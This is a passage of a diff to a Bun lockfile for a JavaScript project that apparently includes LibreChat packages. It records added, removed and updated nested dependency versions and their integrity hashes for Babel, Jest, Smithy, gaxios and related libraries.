"@radix-ui/react-select/@radix-ui/react-popper/@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.1", "", { "dependencies": { "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w=="],
@@ -7237,26 +7171,42 @@
"@smithy/credential-provider-imds/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@3.0.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahM1lQv2YjmznnfQsWbYojFe55l0SLG/988brlLv1i8z3dubloLF+75ATRsqPBboUXsW6I9CPGE5rQgLfY0vQ=="],
- "@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
-
- "@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
-
"@types/winston/winston/logform": ["logform@2.6.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-1ulHeNPp6k/LD8H91o7VYFBng5i1BDE7HoKxVbZiGFidS1Rj65qcywLxX+pVfAPoQJEjRdvKcusKwOupHCVOVQ=="],
"@types/winston/winston/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="],
+ "@types/ws/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
+
"@typescript-eslint/typescript-estree/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
+ "@vitejs/plugin-react/@babel/core/@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
+
"ajv-formats/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
- "browserify-sign/readable-stream/core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
+ "body-parser/raw-body/http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="],
"browserify-sign/readable-stream/isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="],
"browserify-sign/readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="],
+ "caniuse-api/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"caniuse-api/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"chalk/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
@@ -7271,14 +7221,32 @@
"compression/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
+ "core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
+ "core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+
+ "cytoscape-fcose/cose-base/layout-base": ["layout-base@2.0.1", "", {}, "sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg=="],
+
+ "d3-sankey/d3-array/internmap": ["internmap@1.0.1", "", {}, "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw=="],
+
+ "d3-sankey/d3-shape/d3-path": ["d3-path@1.0.9", "", {}, "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg=="],
+
"data-urls/whatwg-url/tr46": ["tr46@5.1.1", "", { "dependencies": { "punycode": "^2.3.1" } }, "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw=="],
"data-urls/whatwg-url/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
+ "eslint/@eslint/eslintrc/globals": ["globals@14.0.0", "", {}, "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ=="],
+
"expect/jest-message-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
"expect/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
+ "expect/jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
+
+ "expect/jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="],
+
+ "expect/jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
+
"express-session/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
"express-static-gzip/serve-static/send": ["send@0.19.0", "", { "dependencies": { "debug": "2.6.9", "depd": "2.0.0", "destroy": "1.2.0", "encodeurl": "~1.0.2", "escape-html": "~1.0.3", "etag": "~1.8.1", "fresh": "0.5.2", "http-errors": "2.0.0", "mime": "1.6.0", "ms": "2.1.3", "on-finished": "2.4.1", "range-parser": "~1.2.1", "statuses": "2.0.1" } }, "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw=="],
@@ -7287,15 +7255,17 @@
"form-data/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
- "gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
+ "gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
- "google-auth-library/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+ "gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "gcp-metadata/gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
+
+ "glob/minimatch/brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="],
"google-auth-library/gcp-metadata/google-logging-utils": ["google-logging-utils@0.0.2", "", {}, "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ=="],
- "googleapis-common/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
-
- "gtoken/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+ "happy-dom/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
"hast-util-from-html-isomorphic/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
@@ -7337,6 +7307,8 @@
"jest-config/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+ "jest-config/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
"jest-config/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"jest-config/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
@@ -7345,28 +7317,20 @@
"jest-each/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "jest-environment-node/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
"jest-leak-detector/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"jest-message-util/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "jest-mock/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
- "jest-runtime/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
"jest-runtime/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
- "jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
+ "jest-runtime/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
- "jest-snapshot/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
+ "jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"jest-snapshot/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"jest-snapshot/synckit/@pkgr/core": ["@pkgr/core@0.2.9", "", {}, "sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA=="],
- "jest-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
"jest-validate/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"jest-worker/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
@@ -7375,139 +7339,13 @@
"jsonwebtoken/jws/jwa": ["jwa@1.4.1", "", { "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA=="],
+ "jszip/readable-stream/isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="],
+
+ "jszip/readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="],
+
"jwks-rsa/@types/express/@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A=="],
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
-
